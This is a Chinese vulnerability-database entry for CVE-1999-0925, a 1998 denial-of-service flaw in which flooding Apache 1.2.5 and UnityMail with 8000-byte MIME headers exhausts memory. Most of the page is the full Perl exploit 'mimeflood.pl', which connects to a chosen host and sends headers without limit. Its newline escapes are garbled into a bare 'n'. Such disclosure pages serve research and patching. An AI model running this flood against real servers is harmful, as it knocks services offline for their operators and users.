多厂商MIME头文件拒绝服务漏洞
漏洞ID | 1105373 | 漏洞类型 | 其他 |
发布时间 | 1998-08-02 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-1999-0925 |
CNNVD-ID | CNNVD-199909-010 |
漏洞平台 | Windows | CVSS评分 | 5.0 |
|漏洞来源
|漏洞详情
UnityMail存在漏洞。远程攻击者借助大量MIME头文件进行服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/1760/info
Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack.
#! /bin/perl
# mimeflood.pl - 02/08/1998 - L.Facq ([email protected])
# Web servers / possible DOS Attack / "mime header flooding"
#
# looking at the apache 1.2.5 source code i found
# that there was no limit on how many mime headers could
# be included in a client request. The only limits
# are : 8192 byte for each header, 300 sec. on reading headers.
#
# => by sending a crazy amount of 8000 bytes headers, it's possible
# to consume a lot of memory (and of course CPU). The point
# is that httpd daemons grow and STAY at this big size (or die
# if you send too much)
#
# -> may be a limit on mime header number could be added.
#
# -> may be other web server could be vulnerable to this problem.
#
# - i tried on an apache 1.2.5 -> it works
# - i didnt installed 1.3.1 but looking at the source code,
# i think the problem is there too.
#
##################################################
#From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420
#
#[...]
#>
#> -> may be a limit on mime header number could be added.
#
#Such limits have already been added to 1.3.2-dev.
#
#.....Roy
use Socket;
# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
$max= $ARGV[2];
}
$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
$port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));
connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0n",0;
$val= ('z'x8000)."n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
send Socket_Handle,"Stupidheader$n: ",0;
send Socket_Handle,$val,0;
$n++;
if (!($n % 100))
{
print "$nn";
}
if ($max && ($n > $max))
{
last;
}
}
print "Done: $nn";
send Socket_Handle,"n",0;
while (<Socket_Handle>)
{
print $_;
}
|参考资料
来源:BUGTRAQ
名称:19980903Webservers/possibleDOSAttack/mimeheaderflooding
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=90486243124867&w;=2
Serendipity漏洞 漏洞ID 1199294 漏洞类型 未知 发布时间 2005-05-03 更新时间 2005-05-03 CVE编号 CVE-2005-1452 CNNVD-ID CNNVD-200505-824 漏洞平台 N/A CVSS评分 1…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666